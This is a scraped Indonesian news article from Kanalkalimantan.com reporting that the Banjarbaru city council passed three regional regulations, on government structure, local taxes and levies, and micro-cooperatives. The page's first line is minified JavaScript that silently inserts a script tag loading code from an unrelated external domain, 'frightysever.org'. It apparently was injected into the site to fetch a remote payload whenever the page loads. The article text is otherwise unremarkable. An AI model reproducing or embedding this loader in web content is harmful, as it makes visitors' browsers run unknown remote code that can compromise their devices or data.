(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru sahkan tiga buah Rancangan Peraturan Daerah (Raperda) menjadi Peraturan Daerah (Perda) yang diterapkan terhitung sejak pengesahan aturan itu.
Pengesahan ditandai Ketua DPRD Banjarbaru Fadliansyah bersama Wali Kota Banjarbaru HM Aditya Mufti Ariffin menandatangani berita acara keputusan bersama melalui rapat paripurna di DPRD Banjarbaru, Selasa (17/10/2023).
“Hasil kesepakatan bersama yang telah disetujui seluruh anggota DPRD dan tim pembentukan Perda Pemko Banjarbaru diputuskan pengesahan tiga Raperda menjadi Perda,” ujar Ketua DPRD Banjarbaru Fadliansyah setelah rapat paripurna.
Tiga Raperda yang resmi disahkan yakni Perda tentang perubahan atas Perda nomor 10 tahun 2016 tentang pembentukan susunan perangkat daerah Pemko Banjarbaru.
Baca juga: Kasus Cuci Uang Narkoba Ayah Fredy Pratama Ditangani Jaksa Kasus Ferdy Sambo
Perda lainnya yang disahkan yakni Perda tentang pajak daerah dan retribusi daerah, serta Perda tentang kemudahan, perlindungan, dan pemberdayaan koperasi usaha mikro.
“Kami berharap, perda yang telah disahkan mampu mencapai tujuan baik untuk peningkatan pendapatan daerah, kelengkapan organisasi dan koperasi, serta usaha mikro yang terus berkembang,” ujar Fadliansyah.
Dijelaskan Fadliansyah, Perda pajak dan retribusi merupakan turunan kebijakan pemerintah pusat, dengan pemotongan pajak daerah seperti pajak parkir dan penerangan jalan umum (PJU) sebesar 10 persen.
Kemudian Perda kemudahan dan perlindungan koperasi Usaha Mikro mengatasi pentingnya permodalan UMKM dan pembinaan dengan persyaratan usaha setidaknya satu tahun dan izin yang sah.
Baca juga: Diduga Berawal Pesan WhatsApp Mesra, Seorang Pemuda Diperas hingga Rp14 Juta
Sementara, Perda STOK mencakup penyesuaian nomenklatur beberapa SKPD seperti struktur organisasi Badan Penanggulangan Bencana Daerah (BPBD) yang ditingkatkan status menjadi grade A.
“Kita semua berharap, SKPD terkait mampu menjalankan tugas dengan baik sehingga tujuan pembentukan Perda tercapai sesuai rencana agar bisa membangun daerah maupun pengembangan koperasi,” katanya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.